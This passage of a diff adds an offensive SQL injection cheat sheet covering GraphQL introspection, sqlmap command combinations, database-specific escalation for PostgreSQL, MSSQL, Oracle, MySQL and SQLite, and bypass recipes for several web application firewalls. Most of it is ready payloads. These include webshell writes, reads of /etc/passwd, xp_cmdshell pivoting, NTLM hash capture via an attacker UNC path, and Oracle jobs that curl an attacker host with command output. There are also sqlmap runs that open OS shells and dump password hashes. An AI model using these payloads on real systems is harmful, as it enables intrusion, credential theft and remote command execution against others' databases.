+
email: "a@b.com"
|
|
330
|
+
}) {
|
|
331
|
+
id
|
|
332
|
+
}
|
|
333
|
+
}
|
|
334
|
+
```
|
|
335
|
+
|
|
336
|
+
### 3.4 Introspection + SQLi Recon
|
|
337
|
+
|
|
338
|
+
Use introspection to enumerate all arguments that might flow to SQL:
|
|
339
|
+
|
|
340
|
+
```graphql
|
|
341
|
+
{
|
|
342
|
+
__schema {
|
|
343
|
+
types {
|
|
344
|
+
name
|
|
345
|
+
fields {
|
|
346
|
+
name
|
|
347
|
+
args { name type { name } }
|
|
348
|
+
}
|
|
349
|
+
}
|
|
350
|
+
}
|
|
351
|
+
}
|
|
352
|
+
```
|
|
353
|
+
|
|
354
|
+
Look for args named: `id`, `filter`, `where`, `search`, `orderBy`, `sort`, `limit`, `offset` — these commonly map to SQL clauses.
|
|
355
|
+
|
|
356
|
+
### 3.5 SQLMap with GraphQL
|
|
357
|
+
|
|
358
|
+
```bash
|
|
359
|
+
# Inline parameter marking:
|
|
360
|
+
sqlmap -u "https://target.com/graphql" \
|
|
361
|
+
--data='{"query":"{ user(id: \"1*\") { name } }"}' \
|
|
362
|
+
--content-type="application/json" \
|
|
363
|
+
--technique=BEUST \
|
|
364
|
+
--tamper=space2comment
|
|
365
|
+
|
|
366
|
+
# Via saved request file (recommended for complex queries):
|
|
367
|
+
sqlmap -r graphql_request.txt -p "id" --dbms=postgresql
|
|
368
|
+
```
|
|
369
|
+
|
|
370
|
+
---
|
|
371
|
+
|
|
372
|
+
## 4. DB-SPECIFIC ADVANCED FUNCTIONS
|
|
373
|
+
|
|
374
|
+
### 4.1 PostgreSQL — Dollar-Sign Quoting
|
|
375
|
+
|
|
376
|
+
Bypass quote filters entirely using `$$` delimiters:
|
|
377
|
+
|
|
378
|
+
```sql
|
|
379
|
+
-- Standard quoting (blocked by WAF):
|
|
380
|
+
SELECT 'admin'
|
|
381
|
+
|
|
382
|
+
-- Dollar-sign quoting (same result, no single quotes):
|
|
383
|
+
SELECT $$admin$$
|
|
384
|
+
|
|
385
|
+
-- Tagged dollar quoting:
|
|
386
|
+
SELECT $tag$admin$tag$
|
|
387
|
+
|
|
388
|
+
-- In injection context:
|
|
389
|
+
' UNION SELECT $$test$$,version()--
|
|
390
|
+
|
|
391
|
+
-- Dynamic SQL execution without quotes:
|
|
392
|
+
SELECT $$ALTER USER postgres PASSWORD 'newpass'$$::text;
|
|
393
|
+
```
|
|
394
|
+
|
|
395
|
+
**PostgreSQL COPY command for file I/O**:
|
|
396
|
+
|
|
397
|
+
```sql
|
|
398
|
+
-- Read file:
|
|
399
|
+
CREATE TEMP TABLE tmp(content text);
|
|
400
|
+
COPY tmp FROM $$/etc/passwd$$;
|
|
401
|
+
SELECT * FROM tmp;
|
|
402
|
+
|
|
403
|
+
-- Write file (webshell):
|
|
404
|
+
COPY (SELECT $$<?php system($_GET['c']); ?>$$) TO $$/var/www/html/shell.php$$;
|
|
405
|
+
```
|
|
406
|
+
|
|
407
|
+
**PostgreSQL large object for binary I/O**:
|
|
408
|
+
|
|
409
|
+
```sql
|
|
410
|
+
SELECT lo_import($$/etc/passwd$$, 1337);
|
|
411
|
+
SELECT lo_get(1337);
|
|
412
|
+
```
|
|
413
|
+
|
|
414
|
+
**PL/pgSQL command execution** (if CREATE LANGUAGE available):
|
|
415
|
+
|
|
416
|
+
```sql
|
|
417
|
+
CREATE OR REPLACE FUNCTION cmd(text) RETURNS text AS $$
|
|
418
|
+
BEGIN
|
|
419
|
+
RETURN (SELECT cmd_output FROM sys_exec($1));
|
|
420
|
+
END;
|
|
421
|
+
$$ LANGUAGE plpgsql;
|
|
422
|
+
```
|
|
423
|
+
|
|
424
|
+
### 4.2 MSSQL — Linked Servers
|
|
425
|
+
|
|
426
|
+
Linked servers allow pivoting through SQL Server trust relationships:
|
|
427
|
+
|
|
428
|
+
```sql
|
|
429
|
+
-- Enumerate linked servers:
|
|
430
|
+
SELECT * FROM master..sysservers;
|
|
431
|
+
EXEC sp_linkedservers;
|
|
432
|
+
|
|
433
|
+
-- Query a linked server:
|
|
434
|
+
SELECT * FROM OPENQUERY(LINKED_SRV, 'SELECT @@version');
|
|
435
|
+
|
|
436
|
+
-- Execute on linked server:
|
|
437
|
+
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SRV];
|
|
438
|
+
|
|
439
|
+
-- Nested (double-hop) through two linked servers:
|
|
440
|
+
EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT [LINKED_SRV_2]') AT [LINKED_SRV_1];
|
|
441
|
+
```
|
|
442
|
+
|
|
443
|
+
**MSSQL credential harvesting**:
|
|
444
|
+
|
|
445
|
+
```sql
|
|
446
|
+
-- Capture NTLM hash via UNC path:
|
|
447
|
+
EXEC master..xp_dirtree '\\ATTACKER_IP\share';
|
|
448
|
+
|
|
449
|
+
-- xp_subdirs alternative:
|
|
450
|
+
EXEC master..xp_subdirs '\\ATTACKER_IP\share';
|
|
451
|
+
|
|
452
|
+
-- Run Responder/Inveigh on attacker to capture NTLMv2 hash
|
|
453
|
+
```
|
|
454
|
+
|
|
455
|
+
**MSSQL CLR assembly for full .NET execution**:
|
|
456
|
+
|
|
457
|
+
```sql
|
|
458
|
+
-- Requires sysadmin or ALTER ASSEMBLY permission
|
|
459
|
+
CREATE ASSEMBLY malicious FROM 0x4D5A... WITH PERMISSION_SET = UNSAFE;
|
|
460
|
+
CREATE PROCEDURE [dbo].[cmd_exec] @cmd NVARCHAR(4000) AS EXTERNAL NAME [malicious].[StoredProcedures].[cmd_exec];
|
|
461
|
+
EXEC cmd_exec 'whoami';
|
|
462
|
+
```
|
|
463
|
+
|
|
464
|
+
**MSSQL Agent Jobs** (alternate command execution path):
|
|
465
|
+
|
|
466
|
+
```sql
|
|
467
|
+
USE msdb;
|
|
468
|
+
EXEC dbo.sp_add_job @job_name = 'pwn';
|
|
469
|
+
EXEC sp_add_jobstep @job_name='pwn', @step_name='run',
|
|
470
|
+
@subsystem='CmdExec', @command='whoami > C:\out.txt';
|
|
471
|
+
EXEC sp_add_jobserver @job_name='pwn';
|
|
472
|
+
EXEC sp_start_job @job_name='pwn';
|
|
473
|
+
```
|
|
474
|
+
|
|
475
|
+
### 4.3 Oracle — DBMS_PIPE and Advanced Packages
|
|
476
|
+
|
|
477
|
+
```sql
|
|
478
|
+
-- Time-based blind via DBMS_PIPE.RECEIVE_MESSAGE:
|
|
479
|
+
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a', 5)--
|
|
480
|
+
-- Waits 5 seconds; works where SLEEP() doesn't exist
|
|
481
|
+
|
|
482
|
+
-- DBMS_LOCK.SLEEP (if DBMS_PIPE is blocked):
|
|
483
|
+
' AND 1=DBMS_LOCK.SLEEP(5)--
|
|
484
|
+
|
|
485
|
+
-- Heavy query time-based (no special priv):
|
|
486
|
+
' AND 1=(SELECT COUNT(*) FROM all_objects a, all_objects b)--
|
|
487
|
+
```
|
|
488
|
+
|
|
489
|
+
**Oracle DBMS_SCHEDULER for OS commands**:
|
|
490
|
+
|
|
491
|
+
```sql
|
|
492
|
+
BEGIN
|
|
493
|
+
DBMS_SCHEDULER.CREATE_JOB(
|
|
494
|
+
job_name => 'pwn',
|
|
495
|
+
job_type => 'EXECUTABLE',
|
|
496
|
+
job_action => '/bin/bash',
|
|
497
|
+
number_of_arguments => 2,
|
|
498
|
+
enabled => FALSE
|
|
499
|
+
);
|
|
500
|
+
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('pwn', 1, '-c');
|
|
501
|
+
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('pwn', 2, 'curl http://ATTACKER/$(whoami)');
|
|
502
|
+
DBMS_SCHEDULER.ENABLE('pwn');
|
|
503
|
+
END;
|
|
504
|
+
```
|
|
505
|
+
|
|
506
|
+
**Oracle XXE via XMLTYPE** (out-of-band exfiltration):
|
|
507
|
+
|
|
508
|
+
```sql
|
|
509
|
+
SELECT XMLTYPE('<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://ATTACKER/'||(SELECT user FROM dual)||'">]><foo>&xxe;</foo>') FROM dual;
|
|
510
|
+
```
|
|
511
|
+
|
|
512
|
+
**Oracle DBMS_JAVA for OS command via Java**:
|
|
513
|
+
|
|
514
|
+
```sql
|
|
515
|
+
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c "curl http://ATTACKER/$(id)"') FROM dual;
|
|
516
|
+
```
|
|
517
|
+
|
|
518
|
+
### 4.4 MySQL — Advanced Tricks
|
|
519
|
+
|
|
520
|
+
```sql
|
|
521
|
+
-- Handler command (bypass SELECT keyword filters):
|
|
522
|
+
HANDLER users OPEN;
|
|
523
|
+
HANDLER users READ FIRST;
|
|
524
|
+
HANDLER users CLOSE;
|
|
525
|
+
|
|
526
|
+
-- Prepared statement via hex (bypass keyword filters):
|
|
527
|
+
SET @q=0x53454C454354202A2046524F4D207573657273; -- SELECT * FROM users
|
|
528
|
+
PREPARE stmt FROM @q;
|
|
529
|
+
EXECUTE stmt;
|
|
530
|
+
|
|
531
|
+
-- mysql.innodb_table_stats (bypass information_schema filters):
|
|
532
|
+
SELECT database_name, table_name FROM mysql.innodb_table_stats;
|
|
533
|
+
|
|
534
|
+
-- sys schema (MySQL 5.7+, bypass information_schema filters):
|
|
535
|
+
SELECT table_name FROM sys.schema_table_statistics WHERE table_schema=database();
|
|
536
|
+
SELECT table_name FROM sys.x$schema_table_statistics;
|
|
537
|
+
|
|
538
|
+
-- Dumpfile (binary-safe single-row write):
|
|
539
|
+
SELECT 0x3C3F706870... INTO DUMPFILE '/var/www/html/shell.php';
|
|
540
|
+
```
|
|
541
|
+
|
|
542
|
+
### 4.5 SQLite — Advanced Techniques
|
|
543
|
+
|
|
544
|
+
```sql
|
|
545
|
+
-- Attach database to write webshell:
|
|
546
|
+
ATTACH DATABASE '/var/www/html/shell.php' AS pwn;
|
|
547
|
+
CREATE TABLE pwn.cmd (txt text);
|
|
548
|
+
INSERT INTO pwn.cmd VALUES ('<?php system($_GET["c"]); ?>');
|
|
549
|
+
|
|
550
|
+
-- Read arbitrary file (load_extension if enabled):
|
|
551
|
+
-- Requires: SQLITE_ENABLE_LOAD_EXTENSION
|
|
552
|
+
SELECT load_extension('/path/to/malicious.so');
|
|
553
|
+
|
|
554
|
+
-- GLOB-based blind (alternative to LIKE):
|
|
555
|
+
SELECT * FROM users WHERE password GLOB 'a*';
|
|
556
|
+
```
|
|
557
|
+
|
|
558
|
+
---
|
|
559
|
+
|
|
560
|
+
## 5. WAF BYPASS — ADVANCED TAMPER CHAIN PATTERNS
|
|
561
|
+
|
|
562
|
+
### 5.1 ModSecurity CRS v3 Bypass Recipes
|
|
563
|
+
|
|
564
|
+
```sql
|
|
565
|
+
-- Paranoia Level 1 (default):
|
|
566
|
+
/*!50000SELECT*/ /*!50000username*/ /*!50000FROM*/ /*!50000users*/
|
|
567
|
+
|
|
568
|
+
-- Paranoia Level 2:
|
|
569
|
+
%53%45%4C%45%43%54/**/username/**/FROM/**/users
|
|
570
|
+
|
|
571
|
+
-- Combine tampers:
|
|
572
|
+
-- sqlmap --tamper=modsecurityversioned,space2comment,randomcase,between
|
|
573
|
+
```
|
|
574
|
+
|
|
575
|
+
### 5.2 Cloudflare Bypass Patterns
|
|
576
|
+
|
|
577
|
+
```sql
|
|
578
|
+
-- Inline comment with version:
|
|
579
|
+
/*!50000UniOn*/ /*!50000SeLeCt*/ 1,2,3
|
|
580
|
+
|
|
581
|
+
-- Newline injection:
|
|
582
|
+
%0aSELECT%0a*%0aFROM%0ausers
|
|
583
|
+
|
|
584
|
+
-- Tabulation:
|
|
585
|
+
%09UNION%09SELECT%09*%09FROM%09users
|
|
586
|
+
```
|
|
587
|
+
|
|
588
|
+
### 5.3 AWS WAF Bypass
|
|
589
|
+
|
|
590
|
+
```sql
|
|
591
|
+
-- JSON-based SQLi (if Content-Type: application/json):
|
|
592
|
+
{"id": "1 AND 1=1"}
|
|
593
|
+
|
|
594
|
+
-- Chunked transfer encoding can split payloads across chunks
|
|
595
|
+
-- Some WAFs don't reassemble before inspection
|
|
596
|
+
```
|
|
597
|
+
|
|
598
|
+
### 5.4 Multi-Layer Encoding
|
|
599
|
+
|
|
600
|
+
```sql
|
|
601
|
+
-- Double URL encode (proxy decodes once, app decodes again):
|
|
602
|
+
%2527 → %27 → '
|
|
603
|
+
|
|
604
|
+
-- Unicode normalization attacks:
|
|
605
|
+
ʼ (U+02BC) → ' in some normalizers
|
|
606
|
+
'(U+FF07) → ' in some normalizers
|
|
607
|
+
|
|
608
|
+
-- Mixed encoding:
|
|
609
|
+
%53ELECT → SELECT (partial encoding)
|
|
610
|
+
```
|
|
611
|
+
|
|
612
|
+
---
|
|
613
|
+
|
|
614
|
+
## 6. CHEAT SHEET — SQLMAP COMMAND COMBOS
|
|
615
|
+
|
|
616
|
+
```bash
|
|
617
|
+
# Full auto with WAF evasion, blind detection, and OS shell:
|
|
618
|
+
sqlmap -u "$URL" -p "id" --dbms=mysql --level=5 --risk=3 \
|
|
619
|
+
--tamper=space2comment,between,randomcase \
|
|
620
|
+
--technique=BEUST --threads=8 --os-shell
|
|
621
|
+
|
|
622
|
+
# POST JSON API with custom headers:
|
|
623
|
+
sqlmap -u "$URL" --data='{"user_id":"1*"}' \
|
|
624
|
+
--content-type="application/json" \
|
|
625
|
+
-H "Authorization: Bearer TOKEN" \
|
|
626
|
+
--tamper=charencode --technique=BT
|
|
627
|
+
|
|
628
|
+
# Cookie-based injection:
|
|
629
|
+
sqlmap -u "$URL" --cookie="id=1*" --level=2 --risk=2
|
|
630
|
+
|
|
631
|
+
# Second-order:
|
|
632
|
+
sqlmap -r register.txt --second-url="https://target.com/profile"
|
|
633
|
+
|
|
634
|
+
# Read password hashes:
|
|
635
|
+
sqlmap -u "$URL" -p "id" --passwords --threads=8
|
|
636
|
+
|
|
637
|
+
# Dump specific table:
|
|
638
|
+
sqlmap -u "$URL" -D dbname -T users -C username,password --dump
|
|
639
|
+
|
|
640
|
+
# Enumerate privileges:
|
|
641
|
+
sqlmap -u "$URL" --privileges --roles
|
|
642
|
+
```
|